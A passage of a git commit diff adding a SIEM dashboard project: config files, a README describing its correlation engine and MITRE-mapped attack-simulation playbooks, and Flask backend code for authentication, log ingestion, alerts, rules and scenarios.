siem dashbaord complete

This commit is contained in:
CarterPerez-dev 2026-02-08 17:47:33 -05:00
parent fd2161ccbd
commit d135197348
171 changed files with 20147 additions and 0 deletions

View File

@ -0,0 +1,23 @@
# ©AngelaMos | 2026
# .env.example
APP_NAME=siem
SECRET_KEY=change-me-to-a-random-string
MONGO_DB=siem
MONGO_HOST_PORT=8654
REDIS_HOST_PORT=6266
REDIS_PASSWORD=
NGINX_HOST_PORT=8431
BACKEND_HOST_PORT=5113
FRONTEND_HOST_PORT=3420
VITE_API_URL=/api
LOG_LEVEL=INFO
DEBUG=false
CLOUDFLARE_TUNNEL_TOKEN=

View File

@ -0,0 +1,17 @@
# ©AngelaMos | 2026
# .gitignore
.env
__pycache__/
*.pyc
.venv/
*.egg-info/
dist/
build/
.mypy_cache/
.ruff_cache/
.pytest_cache/
node_modules/
frontend/dist/
.DS_Store
/frontend/.pnpm-store

View File

@ -0,0 +1,46 @@
[style]
based_on_style = pep8
column_limit = 77
indent_width = 4
continuation_indent_width = 4
indent_closing_brackets = false
dedent_closing_brackets = true
indent_blank_lines = false
spaces_before_comment = 2
spaces_around_power_operator = false
spaces_around_default_or_named_assign = true
space_between_ending_comma_and_closing_bracket = false
space_inside_brackets = false
spaces_around_subscript_colon = true
blank_line_before_nested_class_or_def = false
blank_line_before_class_docstring = false
blank_lines_around_top_level_definition = 2
blank_lines_between_top_level_imports_and_variables = 2
blank_line_before_module_docstring = false
split_before_logical_operator = true
split_before_first_argument = true
split_before_named_assigns = true
split_complex_comprehension = true
split_before_expression_after_opening_paren = false
split_before_closing_bracket = true
split_all_comma_separated_values = true
split_all_top_level_comma_separated_values = false
coalesce_brackets = false
each_dict_entry_on_separate_line = true
allow_multiline_lambdas = false
allow_multiline_dictionary_keys = false
split_penalty_import_names = 0
join_multiple_lines = false
align_closing_bracket_with_visual_indent = true
arithmetic_precedence_indication = false
split_penalty_for_added_line_split = 275
use_tabs = false
split_before_dot = false
split_arguments_when_comma_terminated = true
i18n_function_call = ['_', 'N_', 'gettext', 'ngettext']
i18n_comment = ['# Translators:', '# i18n:']
split_penalty_comprehension = 80
split_penalty_after_opening_bracket = 280
split_penalty_before_if_expr = 0
split_penalty_bitwise_operator = 290
split_penalty_logical_operator = 0

View File

@ -0,0 +1,103 @@
<!-- ©AngelaMos | 2026 — README.md -->
# SIEM Dashboard
A full-stack Security Information and Event Management dashboard with a built-in attack scenario simulation engine. Run realistic cyberattack playbooks, watch log events flow through a correlation engine in real time, and investigate generated alerts — all from the browser.
**Live Demo:** [siem.carterperez-dev.com](https://siem.carterperez-dev.com)
---
## Dashboard
Real-time overview of ingested events, active alerts, severity distribution, and top source IPs.
![Dashboard](docs/images/dashboard.png)
## Log Viewer
Paginated, filterable log table showing every event ingested by the system — firewall, auth, IDS, endpoint, DNS, and proxy logs. Click any row to inspect the full normalized payload.
![Log Viewer](docs/images/log-viewer.png)
## Alerts
Alerts fire when correlation rules detect suspicious patterns in the event stream. Each alert shows the matched rule, severity, status, grouped source, and the specific events that triggered it. Analysts can acknowledge, investigate, resolve, or mark as false positive.
![Alerts](docs/images/alerts.png)
## Correlation Rules
Define detection logic using three rule types:
- **Threshold** — fire when N events from the same group occur within a time window
- **Sequence** — fire when an ordered series of event patterns appears (e.g. failed logins followed by a success)
- **Aggregation** — fire when distinct values of a field exceed a threshold (e.g. one IP hitting 10+ ports)
![Rules](docs/images/rules.png)
## Scenario Engine
Four YAML-based attack playbooks mapped to real MITRE ATT&CK techniques. Start a scenario, adjust playback speed, pause/resume — events flow through the full pipeline in real time.
| Playbook | Techniques | Events |
|----------|-----------|--------|
| Brute Force with Lateral Movement | T1110.001, T1021.004 | 29 |
| Data Exfiltration via DNS Tunneling | T1046, T1005, T1048.003, T1071.004 | 22 |
| Phishing to C2 Beaconing | T1566.001, T1204.002, T1059.001, T1071.001, T1573.002 | 18 |
| Privilege Escalation and Persistence | T1068, T1136.001, T1053.005, T1070.002 | 20 |
![Scenarios](docs/images/scenarios.png)
## How It Works
```
YAML Playbook ──→ Scenario Thread (replays events with timing)
LogEvent.ingest()
┌───────────┴────────────┐
▼ ▼
MongoDB (logs) Redis Stream (XADD)
┌──────────┴──────────┐
▼ ▼
Correlation Engine SSE Generator
(XREADGROUP) (XREAD)
│ │
Rule.evaluate() ▼
│ Frontend Live Feed
Alert.create()
┌───────┴───────┐
▼ ▼
MongoDB (alerts) Alert SSE → Frontend
```
## Tech Stack
| Layer | Stack |
|-------|-------|
| Backend | Flask, MongoEngine, Redis Streams, Pydantic, Argon2, JWT |
| Frontend | React 19, TypeScript, Vite, TanStack Query, Zustand, visx, SCSS Modules |
| Data | MongoDB 8, Redis 7 |
| Infra | Docker Compose, Nginx, Gunicorn |
## Quick Start
```bash
git clone <repo-url>
cd siem-dashboard
docker compose -f dev.compose.yml up --build
```
- **App:** http://localhost:8431
- **API:** http://localhost:8431/api/v1
Register an account, create a correlation rule, start a scenario, and watch the data flow.
## Learn More
See the [`learn/`](learn/) folder for in-depth documentation on SIEM concepts, architecture decisions, implementation walkthroughs, and extension challenges.

View File

@ -0,0 +1,47 @@
# ⒸAngelaMos | 2025 | CarterPerez-dev
[style]
based_on_style = pep8
column_limit = 89
indent_width = 4
continuation_indent_width = 4
indent_closing_brackets = false
dedent_closing_brackets = true
indent_blank_lines = false
spaces_before_comment = 2
spaces_around_power_operator = false
spaces_around_default_or_named_assign = true
space_between_ending_comma_and_closing_bracket = false
space_inside_brackets = false
spaces_around_subscript_colon = true
blank_line_before_nested_class_or_def = false
blank_line_before_class_docstring = false
blank_lines_around_top_level_definition = 2
blank_lines_between_top_level_imports_and_variables = 2
blank_line_before_module_docstring = false
split_before_logical_operator = true
split_before_first_argument = true
split_before_named_assigns = true
split_complex_comprehension = true
split_before_expression_after_opening_paren = false
split_before_closing_bracket = true
split_all_comma_separated_values = true
split_all_top_level_comma_separated_values = false
coalesce_brackets = false
each_dict_entry_on_separate_line = true
allow_multiline_lambdas = false
allow_multiline_dictionary_keys = false
split_penalty_import_names = 0
join_multiple_lines = false
align_closing_bracket_with_visual_indent = true
arithmetic_precedence_indication = false
split_penalty_for_added_line_split = 275
use_tabs = false
split_before_dot = false
split_arguments_when_comma_terminated = true
i18n_function_call = ['_', 'N_', 'gettext', 'ngettext']
i18n_comment = ['# Translators:', '# i18n:']
split_penalty_comprehension = 80
split_penalty_after_opening_bracket = 280
split_penalty_before_if_expr = 0
split_penalty_bitwise_operator = 290
split_penalty_logical_operator = 0

View File

@ -0,0 +1,59 @@
"""
©AngelaMos | 2026
__init__.py
"""
from flask import Flask
from flask_cors import CORS
from app.config import settings
def create_app() -> Flask:
"""
Application factory that
wires up all extensions and blueprints
"""
app = Flask(__name__)
app.config.from_mapping(
MONGO_URI = settings.MONGO_URI,
MONGO_DB = settings.MONGO_DB,
REDIS_URL = settings.REDIS_URL,
SECRET_KEY = settings.SECRET_KEY,
DEBUG = settings.DEBUG,
)
CORS(app, origins = settings.CORS_ORIGINS)
from app.extensions import init_mongo, init_redis
init_mongo(app)
init_redis(app)
from app.core.errors import register_error_handlers
register_error_handlers(app)
from app.core.rate_limiting import init_limiter
init_limiter(app)
from app.routes import register_blueprints
register_blueprints(app)
from app.cli import register_cli
register_cli(app)
from app.core.streaming import ensure_consumer_group
ensure_consumer_group(settings.LOG_STREAM_KEY)
ensure_consumer_group(settings.ALERT_STREAM_KEY)
from app.models.ScenarioRun import ScenarioRun
for orphan in ScenarioRun.get_active_runs():
orphan.mark_stopped()
from app.engine.correlation import start_engine
start_engine()
@app.get("/health")
def health(): # type: ignore[no-untyped-def]
return "1"
return app

View File

@ -0,0 +1,60 @@
"""
©AngelaMos | 2026
cli.py
"""
import click
from flask import Flask
from app.core.auth import hash_password
from app.models.User import User, UserRole
@click.group("admin")
def admin_cli() -> None:
"""
Administrative commands for the SIEM platform
"""
@admin_cli.command("create")
@click.option("--username", required = True, help = "Admin username")
@click.option("--email", required = True, help = "Admin email address")
@click.option("--password", prompt = True, hide_input = True, confirmation_prompt = True, help = "Admin password")
def create_admin(username: str, email: str, password: str) -> None:
"""
Create a new admin account or promote an existing user
"""
existing = User.find_by_username(username)
if existing is not None:
if existing.role == UserRole.ADMIN:
click.echo(f"User '{username}' is already an admin.")
return
existing.set_role(UserRole.ADMIN)
click.echo(f"Promoted existing user '{username}' to admin.")
return
existing_email = User.find_by_email(email)
if existing_email is not None:
if existing_email.role == UserRole.ADMIN:
click.echo(f"User with email '{email}' is already an admin.")
return
existing_email.set_role(UserRole.ADMIN)
click.echo(f"Promoted existing user '{existing_email.username}' to admin.")
return
hashed = hash_password(password)
User.create_user(
username = username,
email = email,
password_hash = hashed,
role = UserRole.ADMIN,
)
click.echo(f"Admin account '{username}' created successfully.")
def register_cli(app: Flask) -> None:
"""
Attach all CLI command groups to the Flask app
"""
app.cli.add_command(admin_cli)

View File

@ -0,0 +1,70 @@
"""
©AngelaMos | 2026
config.py
"""
from pathlib import Path
from pydantic_settings import (
BaseSettings,
SettingsConfigDict,
)
class Settings(BaseSettings):
"""
Application settings loaded from environment variables
"""
model_config = SettingsConfigDict(
env_file = ".env",
env_file_encoding = "utf-8",
case_sensitive = False,
)
MONGO_URI: str = "mongodb://mongo:27017/siem"
MONGO_DB: str = "siem"
REDIS_URL: str = "redis://redis:6379/0"
SECRET_KEY: str = "change-me-in-production"
JWT_ALGORITHM: str = "HS256"
JWT_EXPIRATION_HOURS: int = 24
CORS_ORIGINS: list[str] = ["http://localhost:5173"]
LOG_STREAM_KEY: str = "siem:logs"
ALERT_STREAM_KEY: str = "siem:alerts"
STREAM_MAXLEN: int = 10000
STREAM_READ_COUNT: int = 10
STREAM_BLOCK_MS: int = 2000
SSE_READ_COUNT: int = 50
SSE_BLOCK_MS: int = 3000
CONSUMER_GROUP: str = "siem-correlation"
CONSUMER_NAME: str = "engine-1"
SCENARIO_PLAYBOOK_DIR: str = str(Path(__file__).parent / "scenarios" / "playbooks")
SCENARIO_MIN_SPEED: float = 0.1
SCENARIO_MAX_SPEED: float = 10.0
CORRELATION_COOLDOWN_SECONDS: int = 300
CORRELATION_RULE_CACHE_SECONDS: int = 30
CORRELATION_ERROR_BACKOFF_SECONDS: float = 1.0
RULE_TEST_MAX_HOURS: int = 72
DEFAULT_PAGE_SIZE: int = 50
MAX_PAGE_SIZE: int = 200
TIMELINE_DEFAULT_HOURS: int = 24
TIMELINE_BUCKET_MINUTES: int = 15
TOP_SOURCES_LIMIT: int = 10
RATELIMIT_STRATEGY: str = "moving-window"
RATELIMIT_HEADERS_ENABLED: bool = True
RATELIMIT_SWALLOW_ERRORS: bool = True
RATELIMIT_DEFAULT: str = "200/minute"
RATELIMIT_AUTH: str = "10/minute"
LOG_LEVEL: str = "INFO"
DEBUG: bool = False
settings = Settings()

View File

@ -0,0 +1,4 @@
"""
©AngelaMos | 2026
__init__.py
"""

View File

@ -0,0 +1,122 @@
"""
©AngelaMos | 2026
admin_ctrl.py
"""
from typing import Any
from flask import g
from app.core.errors import ForbiddenError, NotFoundError
from app.models.User import User, UserRole
from app.schemas.auth import UserResponse
def list_users() -> dict[str, Any]:
"""
Paginated listing of all user accounts
"""
data = g.validated
result = User.list_all(page = data.page, per_page = data.per_page)
result["items"] = [
UserResponse(
id = str(u.id),
username = u.username,
email = u.email,
role = u.role,
is_active = u.is_active,
).model_dump()
for u in result["items"]
]
return result
def get_user(user_id: str) -> dict[str, Any]:
"""
Retrieve a single user by ID
"""
user = User.get_by_id(user_id)
return UserResponse(
id = str(user.id),
username = user.username,
email = user.email,
role = user.role,
is_active = user.is_active,
).model_dump()
def update_role(user_id: str) -> dict[str, Any]:
"""
Change a user's role with last-admin protection
"""
caller = g.current_user
target = User.get_by_id(user_id)
data = g.validated
if str(target.id) == str(caller.id) and data.role != UserRole.ADMIN and User.count_admins() <= 1:
raise ForbiddenError("Cannot demote the last admin")
target.set_role(data.role)
return UserResponse(
id = str(target.id),
username = target.username,
email = target.email,
role = target.role,
is_active = target.is_active,
).model_dump()
def _prevent_self_action(caller: User, target: User, action: str) -> None:
"""
Block admins from deactivating or deleting their own account
"""
if str(target.id) == str(caller.id):
raise ForbiddenError(f"Cannot {action} your own account")
def deactivate_user(user_id: str) -> dict[str, Any]:
"""
Soft-delete a user by marking them inactive
"""
caller = g.current_user
target = User.get_by_id(user_id)
_prevent_self_action(caller, target, "deactivate")
target.deactivate()
return UserResponse(
id = str(target.id),
username = target.username,
email = target.email,
role = target.role,
is_active = target.is_active,
).model_dump()
def activate_user(user_id: str) -> dict[str, Any]:
"""
Re-enable a previously deactivated user
"""
target = User.get_by_id(user_id)
if target.is_active:
raise NotFoundError("User is already active")
target.activate()
return UserResponse(
id = str(target.id),
username = target.username,
email = target.email,
role = target.role,
is_active = target.is_active,
).model_dump()
def delete_user(user_id: str) -> dict[str, Any]:
"""
Permanently remove a user document
"""
caller = g.current_user
target = User.get_by_id(user_id)
_prevent_self_action(caller, target, "delete")
target.hard_delete()
return {"deleted": True}

View File

@ -0,0 +1,70 @@
"""
©AngelaMos | 2026
alert_ctrl.py
"""
from typing import Any
from flask import Response, g
from app.config import settings
from app.core.streaming import sse_generator
from app.models.Alert import Alert
def list_alerts() -> dict[str, Any]:
"""
Return paginated and filtered alerts
"""
params = g.validated
filters = {}
if params.status:
filters["status"] = params.status
if params.severity:
filters["severity"] = params.severity
qs = Alert.objects(**filters).order_by("-created_at")
return Alert.paginate(
queryset=qs,
page=params.page,
per_page=params.per_page,
)
def get_alert_detail(alert_id: str) -> dict[str, Any]:
"""
Return an alert with its matched log events
"""
alert = Alert.get_by_id(alert_id)
return alert.get_with_events()
def update_alert_status(alert_id: str) -> Alert:
"""
Transition an alert to a new lifecycle status
"""
data = g.validated
alert = Alert.get_by_id(alert_id)
username = None
if g.current_user:
username = g.current_user.username
alert.update_status(
status=data.status,
username=username,
notes=data.notes,
)
return alert
def stream_alerts() -> Response:
"""
SSE endpoint that tails the alert Redis Stream
"""
return Response(
sse_generator(settings.ALERT_STREAM_KEY, event_type="alert"),
mimetype="text/event-stream",
headers={
"Cache-Control": "no-cache",
"X-Accel-Buffering": "no",
},
)

View File

@ -0,0 +1,147 @@
"""
©AngelaMos | 2026
auth_ctrl.py
"""
from typing import Any
from flask import g
from app.core.auth import (
hash_password,
verify_password,
verify_password_timing_safe,
create_access_token,
)
from app.core.errors import ConflictError, AuthenticationError, ValidationError
from app.models.User import User
from app.schemas.auth import TokenResponse, UserResponse, UpdateProfileResponse
def register() -> dict[str, Any]:
"""
Register a new analyst account
"""
data = g.validated
if User.username_exists(data.username):
raise ConflictError("Username already taken")
if User.email_exists(data.email):
raise ConflictError("Email already registered")
hashed = hash_password(data.password)
user = User.create_user(
username = data.username,
email = data.email,
password_hash = hashed,
)
token = create_access_token(
user_id = str(user.id),
extra_claims = {
"username": user.username,
"role": user.role,
},
)
return TokenResponse(
access_token = token,
).model_dump()
def login() -> dict[str, Any]:
"""
Authenticate and return a JWT
"""
data = g.validated
user = User.find_by_username(data.username)
existing_hash = user.password_hash if user else None
is_valid, new_hash = verify_password_timing_safe(data.password, existing_hash)
if not is_valid or user is None:
raise AuthenticationError("Invalid username or password")
if not user.is_active:
raise AuthenticationError("Account is deactivated")
if new_hash:
user.password_hash = new_hash
user.save()
token = create_access_token(
user_id = str(user.id),
extra_claims = {
"username": user.username,
"role": user.role,
},
)
return TokenResponse(
access_token = token,
).model_dump()
def update_profile() -> dict[str, Any]:
"""
Update the authenticated user's own profile fields
"""
user = g.current_user
data = g.validated
is_valid, _ = verify_password(data.current_password, user.password_hash)
if not is_valid:
raise AuthenticationError("Current password is incorrect")
updates: dict[str, str] = {}
if data.username is not None and data.username != user.username:
if User.username_exists(data.username):
raise ConflictError("Username already taken")
updates["username"] = data.username
if data.email is not None and data.email != user.email:
if User.email_exists(data.email):
raise ConflictError("Email already registered")
updates["email"] = data.email
if data.password is not None:
updates["password_hash"] = hash_password(data.password)
if not updates:
raise ValidationError("No fields to update")
user.update_profile(**updates)
new_token: str | None = None
if "username" in updates:
new_token = create_access_token(
user_id = str(user.id),
extra_claims = {
"username": user.username,
"role": user.role,
},
)
return UpdateProfileResponse(
user = UserResponse(
id = str(user.id),
username = user.username,
email = user.email,
role = user.role,
is_active = user.is_active,
),
access_token = new_token,
).model_dump(exclude_none = True)
def me() -> dict[str, Any]:
"""
Return the current authenticated user profile
"""
user = g.current_user
return UserResponse(
id = str(user.id),
username = user.username,
email = user.email,
role = user.role,
is_active = user.is_active,
).model_dump()

View File

@ -0,0 +1,65 @@
"""
©AngelaMos | 2026
dashboard_ctrl.py
"""
from typing import Any
from flask import g
from app.models.Alert import Alert, AlertStatus
from app.models.LogEvent import LogEvent
def overview() -> dict[str, Any]:
"""
Return combined dashboard statistics
"""
alert_pipeline = [
{
"$group": {
"_id": "$status",
"count": {"$sum": 1},
}
},
]
alerts_by_status = {
doc["_id"]: doc["count"]
for doc in Alert.objects.aggregate(alert_pipeline)
}
return {
"total_events": LogEvent.objects.count(),
"total_alerts": Alert.objects.count(),
"open_alerts": alerts_by_status.get(AlertStatus.NEW, 0)
+ alerts_by_status.get(AlertStatus.ACKNOWLEDGED, 0)
+ alerts_by_status.get(AlertStatus.INVESTIGATING, 0),
"alerts_by_status": alerts_by_status,
"severity_breakdown": LogEvent.severity_breakdown(),
}
def timeline() -> list[dict[str, Any]]:
"""
Return event counts bucketed over a time window
"""
params = g.validated
return LogEvent.timeline_aggregation(
hours=params.hours,
bucket_minutes=params.bucket_minutes,
)
def severity_breakdown() -> list[dict[str, Any]]:
"""
Return event counts grouped by severity level
"""
return LogEvent.severity_breakdown()
def top_sources() -> list[dict[str, Any]]:
"""
Return the most frequent source IPs
"""
params = g.validated
return LogEvent.top_sources(limit=params.limit)

View File

@ -0,0 +1,117 @@
"""
©AngelaMos | 2026
log_ctrl.py
"""
from typing import Any
from flask import Response, g
from app.config import settings
from app.core.streaming import publish_event, sse_generator
from app.engine.normalizer import normalize
from app.engine.severity import classify
from app.models.LogEvent import LogEvent
def list_logs() -> dict[str, Any]:
"""
Return paginated and filtered log events
"""
params = g.validated
filters = {}
if params.source_type:
filters["source_type"] = params.source_type
if params.severity:
filters["severity"] = params.severity
if params.source_ip:
filters["source_ip"] = params.source_ip
if params.event_type:
filters["event_type"] = params.event_type
qs = LogEvent.objects(**filters).order_by("-timestamp")
return LogEvent.paginate(
queryset = qs,
page = params.page,
per_page = params.per_page,
)
def get_log(log_id: str) -> LogEvent:
"""
Return a single log event by ID
"""
return LogEvent.get_by_id(log_id)
def ingest_log() -> LogEvent:
"""
Normalize, classify, persist, and publish a log event
"""
raw = g.validated.model_dump(exclude_none = True)
normalized = normalize(raw)
severity = classify(normalized)
event = LogEvent.create_event(
**normalized,
severity = severity,
)
publish_event(
settings.LOG_STREAM_KEY,
{
"id": str(event.id),
"timestamp": str(event.timestamp),
"source_type": event.source_type,
"severity": event.severity,
"event_type": event.event_type,
"source_ip": event.source_ip,
"dest_ip": event.dest_ip,
"hostname": event.hostname,
"username": event.username,
},
)
return event
def search_logs() -> dict[str, Any]:
"""
Full text search across log events
"""
params = g.validated
return LogEvent.search(
query = params.q,
page = params.page,
per_page = params.per_page,
)
def stream_logs() -> Response:
"""
SSE endpoint that tails the log Redis Stream
"""
return Response(
sse_generator(settings.LOG_STREAM_KEY,
event_type = "log"),
mimetype = "text/event-stream",
headers = {
"Cache-Control": "no-cache",
"X-Accel-Buffering": "no",
},
)
def pivot() -> list[Any]:
"""
Forensic pivot by IP, username, or hostname
"""
params = g.validated
if params.ip:
return LogEvent.get_by_source_ip(params.ip)
if params.username:
return LogEvent.get_by_username(params.username)
if params.hostname:
return LogEvent.get_by_hostname(params.hostname)
return []

View File

@ -0,0 +1,118 @@
"""
©AngelaMos | 2026
rule_ctrl.py
"""
from typing import Any
from datetime import datetime, timedelta, UTC
from flask import g
from app.engine.correlation import (
CorrelationState,
evaluate_rule,
)
from app.models.CorrelationRule import CorrelationRule
from app.models.LogEvent import LogEvent
def list_rules() -> list[Any]:
"""
Return all correlation rules
"""
return list(CorrelationRule.objects.order_by("-created_at")) # type: ignore[no-untyped-call]
def get_rule(rule_id: str) -> CorrelationRule:
"""
Return a single correlation rule by ID
"""
return CorrelationRule.get_by_id(rule_id)
def create_rule() -> CorrelationRule:
"""
Create a new correlation rule from validated request data
"""
data = g.validated
rule = CorrelationRule(
name=data.name,
description=data.description,
rule_type=data.rule_type,
conditions=data.conditions,
severity=data.severity,
enabled=data.enabled,
mitre_tactic=data.mitre_tactic,
mitre_technique=data.mitre_technique,
)
rule.save() # type: ignore[no-untyped-call]
return rule
def update_rule(rule_id: str) -> CorrelationRule:
"""
Partially update an existing correlation rule
"""
data = g.validated
rule = CorrelationRule.get_by_id(rule_id)
updates = data.model_dump(exclude_none=True)
for field_name, value in updates.items():
setattr(rule, field_name, value)
rule.save() # type: ignore[no-untyped-call]
return rule
def delete_rule(rule_id: str) -> dict[str, Any]:
"""
Delete a correlation rule by ID
"""
rule = CorrelationRule.get_by_id(rule_id)
rule.delete() # type: ignore[no-untyped-call]
return {"deleted": True}
def test_rule(rule_id: str) -> dict[str, Any]:
"""
Simulate a rule against historical log events and return matches
"""
data = g.validated
rule = CorrelationRule.get_by_id(rule_id)
cutoff = datetime.now(UTC).replace(
second=0, microsecond=0,
)
since = cutoff - timedelta(hours=data.hours)
events = LogEvent.objects(timestamp__gte=since).order_by("timestamp") # type: ignore[no-untyped-call]
state = CorrelationState()
alerts_fired: list[dict[str, Any]] = []
for event in events:
event_data = {
"id": str(event.id),
"timestamp": str(event.timestamp),
"source_type": event.source_type,
"severity": event.severity,
"event_type": event.event_type,
"source_ip": event.source_ip,
"dest_ip": event.dest_ip,
"hostname": event.hostname,
"username": event.username,
}
result = evaluate_rule(rule, event_data, state)
if result:
alerts_fired.append({
"group_value": result.group_value,
"matched_event_count": len(result.matched_event_ids),
"matched_event_ids": result.matched_event_ids,
})
return {
"rule_id": str(rule.id),
"rule_name": rule.name,
"events_evaluated": events.count(), # type: ignore[no-untyped-call]
"alerts_would_fire": len(alerts_fired),
"alerts": alerts_fired,
}

View File

@ -0,0 +1,75 @@
"""
©AngelaMos | 2026
scenario_ctrl.py
"""
from typing import Any
from flask import g
from app.models.ScenarioRun import ScenarioRun
from app.scenarios.playbook import Playbook
from app.scenarios.runner import ScenarioRunner
def list_available() -> list[dict[str, Any]]:
"""
Return metadata for all available playbook files
"""
return Playbook.list_available()
def list_running() -> list[Any]:
"""
Return all active scenario runs
"""
return ScenarioRun.get_active_runs()
def start_scenario() -> ScenarioRun:
"""
Load a playbook and start a new scenario thread
"""
data = g.validated
return ScenarioRunner.start(data.filename)
def stop_scenario(run_id: str) -> ScenarioRun:
"""
Stop an active scenario run
"""
run = ScenarioRun.get_by_id(run_id)
ScenarioRunner.stop(str(run.id))
run.reload() # type: ignore[no-untyped-call]
return run
def pause_scenario(run_id: str) -> ScenarioRun:
"""
Pause an active scenario run
"""
run = ScenarioRun.get_by_id(run_id)
ScenarioRunner.pause(str(run.id))
run.reload() # type: ignore[no-untyped-call]
return run
def resume_scenario(run_id: str) -> ScenarioRun:
"""
Resume a paused scenario run
"""
run = ScenarioRun.get_by_id(run_id)
ScenarioRunner.resume(str(run.id))
run.reload() # type: ignore[no-untyped-call]
return run
def set_speed(run_id: str) -> ScenarioRun:
"""
Adjust the playback speed of an active scenario
"""
data = g.validated
run = ScenarioRun.get_by_id(run_id)
ScenarioRunner.set_speed(str(run.id), data.speed)
run.reload() # type: ignore[no-untyped-call]
return run

View File

@ -0,0 +1,4 @@
"""
©AngelaMos | 2026
__init__.py
"""

View File

@ -0,0 +1,110 @@
"""
©AngelaMos | 2026
auth.py
"""
from typing import Any
from datetime import (
datetime,
timedelta,
UTC,
)
import jwt
from flask import request
from pwdlib import PasswordHash
from app.config import settings
password_hasher = PasswordHash.recommended()
DUMMY_HASH = password_hasher.hash("dummy_password_for_timing_attack_prevention")
def hash_password(password: str) -> str:
"""
Hash a plaintext password with Argon2id
"""
return password_hasher.hash(password)
def verify_password(
plain_password: str,
hashed_password: str,
) -> tuple[bool,
str | None]:
"""
Verify password and return new hash if Argon2 params are outdated
"""
try:
return password_hasher.verify_and_update(
plain_password,
hashed_password,
)
except Exception:
return False, None
def verify_password_timing_safe(
plain_password: str,
hashed_password: str | None,
) -> tuple[bool,
str | None]:
"""
Verify with constant-time behavior to prevent user enumeration
"""
if hashed_password is None:
password_hasher.verify(plain_password, DUMMY_HASH)
return False, None
return verify_password(plain_password, hashed_password)
def create_access_token(
user_id: str,
extra_claims: dict[str,
Any] | None = None,
) -> str:
"""
Create a signed JWT with user_id as subject
"""
now = datetime.now(UTC)
payload: dict[str,
Any] = {
"sub": user_id,
"iat": now,
"exp": now + timedelta(
hours = settings.JWT_EXPIRATION_HOURS,
),
}
if extra_claims:
payload.update(extra_claims)
return jwt.encode(
payload,
settings.SECRET_KEY,
algorithm = settings.JWT_ALGORITHM,
)
def decode_access_token(token: str) -> dict[str, Any]:
"""
Decode and validate a JWT returning the payload
"""
return jwt.decode( # type: ignore[no-any-return]
token,
settings.SECRET_KEY,
algorithms = [settings.JWT_ALGORITHM],
options = {"require": ["exp",
"sub",
"iat"]},
)
def extract_bearer_token() -> str | None:
"""
Extract JWT from Authorization header or query param fallback for SSE
"""
auth_header = request.headers.get("Authorization", "")
if auth_header.startswith("Bearer "):
return auth_header[7 :]
return request.args.get("token")

View File

@ -0,0 +1,11 @@
"""
©AngelaMos | 2026
decorators/__init__.py
"""
from app.core.decorators.endpoint import endpoint
from app.core.decorators.response import R
from app.core.decorators.schema import S
__all__ = ["R", "S", "endpoint"]

View File

@ -0,0 +1,88 @@
"""
©AngelaMos | 2026
endpoint.py
"""
import functools
from typing import Any
from collections.abc import Callable, Sequence
import structlog
from flask import g, jsonify
from app.core.errors import AppError, AuthenticationError, ForbiddenError
from app.core.auth import decode_access_token, extract_bearer_token
from app.models.User import User
logger = structlog.get_logger()
def endpoint(
auth_required: bool = True,
roles: Sequence[str] | None = None,
) -> Callable[..., Any]:
"""
Outermost decorator that provides auth extraction, role gating,
and an error boundary
"""
effective_auth = auth_required or roles is not None
def decorator(fn: Callable[..., Any]) -> Callable[..., Any]:
@functools.wraps(fn)
def wrapper(*args: Any, **kwargs: Any) -> Any:
try:
_resolve_auth(effective_auth)
if roles is not None:
_enforce_roles(roles)
return fn(*args, **kwargs)
except AppError:
raise
except Exception:
logger.exception(
"unhandled_error",
endpoint = fn.__name__,
)
return jsonify({
"error": "InternalServerError",
"message": "Internal server error",
}), 500
return wrapper
return decorator
def _resolve_auth(required: bool) -> None:
"""
Extract JWT and load user onto flask g or raise if required
"""
g.current_user = None
token = extract_bearer_token()
if not token:
if required:
raise AuthenticationError()
return
try:
payload = decode_access_token(token)
except Exception as exc:
if required:
raise AuthenticationError("Invalid or expired token") from exc
return
user = User.get_or_none(payload["sub"])
if user is None:
if required:
raise AuthenticationError("User not found")
return
g.current_user = user
def _enforce_roles(allowed: Sequence[str]) -> None:
"""
Verify the authenticated user holds one of the required roles
"""
user = g.current_user
if user is None or user.role not in allowed:
raise ForbiddenError()

View File

@ -0,0 +1,42 @@
"""
©AngelaMos | 2026
response.py
"""
import functools
from typing import Any
from collections.abc import Callable
from flask import Response, jsonify
from app.core.serialization import auto_serialize
def R(status: int = 200) -> Callable[..., Any]: # noqa: N802
"""
Auto-serialize the return value into a JSON response
"""
def decorator(fn: Callable[..., Any]) -> Callable[..., Any]:
@functools.wraps(fn)
def wrapper(*args: Any, **kwargs: Any) -> Any:
result = fn(*args, **kwargs)
return _build_response(result, status)
return wrapper
return decorator
def _build_response(
result: Any,
default_status: int,
) -> Any:
"""
Dispatch on return type to produce the correct Flask response
"""
if isinstance(result, Response):
return result
if isinstance(result, tuple):
data, code = result
return jsonify(auto_serialize(data)), code
return jsonify(auto_serialize(result)), default_status

View File

@ -0,0 +1,78 @@
"""
©AngelaMos | 2026
schema.py
"""
import functools
from typing import Any, Literal
from collections.abc import Callable
from flask import g, request
from pydantic import (
BaseModel,
ValidationError as PydanticValidationError,
)
from app.core.errors import ValidationError
def S( # noqa: N802
schema_class: type[BaseModel],
source: Literal["auto",
"query",
"body"] = "auto",
) -> Callable[..., Any]:
"""
Validate request data with Pydantic and store on g.validated
"""
def decorator(fn: Callable[..., Any]) -> Callable[..., Any]:
@functools.wraps(fn)
def wrapper(*args: Any, **kwargs: Any) -> Any:
raw = _extract_data(source)
try:
g.validated = schema_class.model_validate(raw)
except PydanticValidationError as exc:
raise ValidationError(
message = "Validation failed",
errors = [
{
"field": ".".join(str(loc) for loc in e["loc"]),
"message": e["msg"],
"type": e["type"],
} for e in exc.errors()
],
) from exc
return fn(*args, **kwargs)
return wrapper
return decorator
def _extract_data(
source: Literal["auto",
"query",
"body"],
) -> dict[str,
Any]:
"""
Pull raw data from the request based on the declared source
"""
if source == "query":
return dict(request.args)
if source == "body":
return _get_body()
if source == "auto":
if request.method in ("GET", "DELETE", "HEAD", "OPTIONS"):
return dict(request.args)
return _get_body()
return {}
def _get_body() -> dict[str, Any]:
"""
Extract JSON body from the request or return empty dict
"""
data = request.get_json(silent = True)
if data is None:
return {}
return data # type: ignore[no-any-return]

View File

@ -0,0 +1,111 @@
"""
©AngelaMos | 2026
errors.py
"""
from typing import Any
from flask import Flask, jsonify
class AppError(Exception):
"""
Base application error with HTTP status code
"""
status_code: int = 500
message: str = "Internal server error"
def __init__(
self,
message: str | None = None,
status_code: int | None = None,
) -> None:
super().__init__(message or self.message)
if message:
self.message = message
if status_code:
self.status_code = status_code
class NotFoundError(AppError):
"""
Raised when a requested resource does not exist
"""
status_code = 404
message = "Resource not found"
